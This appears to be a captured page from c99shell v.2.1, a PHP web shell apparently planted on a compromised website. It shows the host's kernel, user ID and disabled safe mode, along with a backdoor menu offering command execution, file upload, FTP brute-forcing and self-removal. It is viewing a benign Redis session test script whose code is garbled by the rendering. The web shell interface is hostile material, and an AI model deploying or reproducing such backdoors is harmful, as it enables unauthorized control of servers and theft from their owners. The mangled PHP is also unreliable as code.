smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/opt/alt/tests/alt-php80-pecl-redis_5.3.7-5.el8/tests/   drwxr-xr-x
Free 39.15 GB of 48.91 GB (80.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     regenerateSessionId.php (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
error_reporting
(E_ERROR E_WARNING);

$redisHost $argv[1];
$saveHandler $argv[2];
$sessionId $argv[3];
$locking = !!$argv[4];
$destroyPrevious = !!$argv[5];
$sessionProxy = !!$argv[6];

if (empty(
$redisHost)) {
    
$redisHost 'tcp://localhost:6379';
}

ini_set('session.save_handler'$saveHandler);
ini_set('session.save_path'$redisHost);

if (
$locking) {
    
ini_set('redis.session.locking_enabled'true);
}

if (
interface_exists('SessionHandlerInterface')) {
    class 
TestHandler implements SessionHandlerInterface
    
{
        
/**
         * @var SessionHandler
         */
        
private $handler;

        public function 
__construct()
        {
            
$this->handler = new SessionHandler();
        }

        public function 
close()
        {
            return 
$this->handler->close();
        }

        public function 
destroy($session_id)
        {
            return 
$this->handler->destroy($session_id);
        }

        public function 
gc($maxlifetime)
        {
            return 
$this->handler->gc($maxlifetime);
        }

        public function 
open($save_path$name)
        {
            return 
$this->handler->open($save_path$name);
        }

        public function 
read($session_id)
        {
            return 
$this->handler->read($session_id);
        }

        public function 
write($session_id$session_data)
        {
            return 
$this->handler->write($session_id$session_data);
        }
    }
}

if (
$sessionProxy) {
    
$handler = new TestHandler();
    
session_set_save_handler($handler);
}

session_id($sessionId);
if (!
session_start()) {
    
$result "FAILED: session_start()";
}
elseif (!
session_regenerate_id($destroyPrevious)) {
    
$result "FAILED: session_regenerate_id()";
}
else {
    
$result session_id();
}
session_write_close();
echo 
$result;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0037 ]--